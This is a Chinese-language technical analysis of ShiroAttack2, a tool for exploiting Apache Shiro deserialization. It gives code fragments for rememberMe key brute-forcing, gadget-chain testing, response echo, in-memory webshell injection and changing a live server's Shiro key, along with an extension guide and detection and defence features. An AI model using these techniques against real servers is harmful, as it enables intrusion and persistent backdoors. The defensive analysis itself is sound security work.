ShiroAttack2工具原理分析
字数 1671 2025-08-29 08:30:36
ShiroAttack2工具原理深度分析与教学文档
1. 工具概述
ShiroAttack2是一款针对Apache Shiro框架漏洞利用的开源工具,主要用于:
- Shiro框架检测
- 密钥爆破与验证
- 利用链测试与利用
- 内存马注入
- Shiro密钥修改
2. 核心功能原理分析
2.1 Shiro框架检测机制
检测流程:
- 发送带有
rememberMe=1的Cookie请求 - 检查响应是否包含
=deleteMe - 如果无响应,则发送随机10位数的rememberMe值再次检测
关键代码:
public boolean checkIsShiro() {
try {
HashMap<String, String> header = new HashMap();
header.put("Cookie", this.shiroKeyWord + "=1");
String result = this.headerHttpRequest(header);
flag = result.contains("=deleteMe");
if (!flag) {
HashMap<String, String> header1 = new HashMap();
header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
String result1 = this.headerHttpRequest(header1);
flag = result1.contains("=deleteMe");
}
} catch (Exception var4) {
// 异常处理
}
return flag;
}
WAF绕过技巧:
- 使用随机rememberMe值而非固定值
1,避免被特征检测
2.2 密钥验证与爆破
2.2.1 指定密钥验证
直接使用用户提供的密钥进行验证:
this.attackService.simpleKeyCrack(spcShiroKey);
2.2.2 密钥爆破
遍历内置密钥字典进行爆破:
this.attackService.keysCrack();
2.3 利用链爆破机制
工作流程:
- 组合利用链和回显方式(如"CC链:Tomcat回显")
- 对每种组合进行测试
- 通过特定特征判断利用是否成功
关键代码:
List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
for(int i = 0; i < targets.size(); ++i) {
String[] t = targets.get(i).split(":");
String gadget = t[0];
String echo = t[1];
flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
if (flag) break;
}
利用链测试特征:
- 请求头中包含
Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c - 响应中包含相同特征值表示利用成功
2.4 恶意对象生成流程
-
获取利用链Class对象:
Class<? extends ObjectPayload> gadgetClazz = Utils.getPayloadClass(gadgetOpt); ObjectPayload<?> gadgetPayload = gadgetClazz.newInstance(); -
创建TemplatesImpl对象:
Object template = Gadgets.createTemplatesImpl(echoOpt); -
生成恶意对象:
Object chainObject = gadgetPayload.getObject(template); -
AES加密处理:
String rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
2.5 回显方式分析
2.5.1 Tomcat回显
实现方式:
- 从
ClientPoller线程获取NioEndPoint对象 - 获取
RequestInfo对象 - 最终获取Response对象
关键代码路径:
Thread.currentThread()
→ ThreadGroup
→ ClientPoller线程
→ target(Poller对象)
→ this$0(NioEndPoint)
→ handler
→ global(RequestInfo)
→ response
2.5.2 Spring回显
通过RequestContextHolder获取:
RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
HttpServletResponse response = ((ServletRequestAttributes)requestAttributes).getResponse();
2.5.3 通用回显(AllEcho)
实现原理:
- 从当前线程开始深度遍历对象属性
- 查找
HttpServletRequest和HttpServletResponse对象 - 默认遍历深度50层
关键代码:
private static void Find(Object start, int depth){
if(depth > max_depth || (req!=null && resp!=null)) return;
for (Field declaredField : start.getClass().getDeclaredFields()) {
if(!Modifier.isStatic(declaredField.getModifiers())){
Object obj = declaredField.get(start);
if(obj != null && !obj.getClass().isArray()){
proc(obj, depth);
}
}
}
}
2.6 内存马注入机制
实现特点:
- 将内存马代码与注入逻辑分离
- 通过POST参数
dy传递实际内存马字节码 - 使用反射动态加载和执行
注入流程:
- 生成包含
InjectMemTool的rememberMe - 通过请求头传递密码(
p)和路径(path) - 通过POST body传递base64编码的内存马字节码(
dy) - 服务端动态加载并执行内存马
关键代码:
String b64Bytecode = MemBytes.getBytes(memShellType);
String postString = "dy=" + b64Bytecode;
String result = this.bodyHttpRequest(header, postString);
2.7 Shiro密钥修改功能
实现原理:
- 遍历Tomcat的filterConfigs
- 找到
ShiroFilterFactoryBean实例 - 获取
RememberMeManager - 反射修改加密/解密密钥
关键代码:
// 获取rememberMeManager
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
obj = field.get(obj);
// 修改加密密钥
Method setEncryptionCipherKey = obj.getClass().getSuperclass()
.getDeclaredMethod("setEncryptionCipherKey", byte[].class);
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
// 修改解密密钥
Method setDecryptionCipherKey = obj.getClass().getSuperclass()
.getDeclaredMethod("setDecryptionCipherKey", byte[].class);
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
3. 防御检测特征
-
框架检测阶段:
- 请求包含
rememberMe=1或随机rememberMe值 - 检查
=deleteMe响应
- 请求包含
-
利用链测试阶段:
- 请求头包含
Ctmd: 08fb41620aa4c498a1f2ef09bbc1183c - 响应检查相同特征值
- 请求头包含
-
内存马注入阶段:
- 请求包含
p和path参数 - POST请求包含
dy参数
- 请求包含
4. 扩展开发指南
4.1 添加新利用链
-
实现
ObjectPayload接口:public class NewGadget implements ObjectPayload<Object> { public Object getObject(Object template) throws Exception { // 构造恶意对象 return Gadgets.createTemplatesImpl(template); } } -
放置在
com.summersec.attack.deser.payloads包下
4.2 添加新回显方式
-
实现
EchoPayload接口:public class NewEcho implements EchoPayload<Object> { public CtClass genPayload(ClassPool pool) throws Exception { CtClass clazz = pool.makeClass("NewEcho"); // 实现回显逻辑 return clazz; } } -
确保生成的类继承
AbstractTranslet
5. 工具限制与注意事项
-
利用链限制:
- 主要支持CC链和Beanutils链
- 需要封装为
TemplatesImpl对象
-
内存马限制:
- 注入代码长度受HTTP头大小限制
- 需要分离注入逻辑和实际内存马代码
-
密钥修改限制:
- 依赖
ShiroFilterFactoryBean的默认命名 - 在自定义命名场景下可能失效
- 依赖
-
防御建议:
- 监控
rememberMe参数异常值 - 拦截包含
Ctmd头的请求 - 限制POST参数
dy的访问
- 监控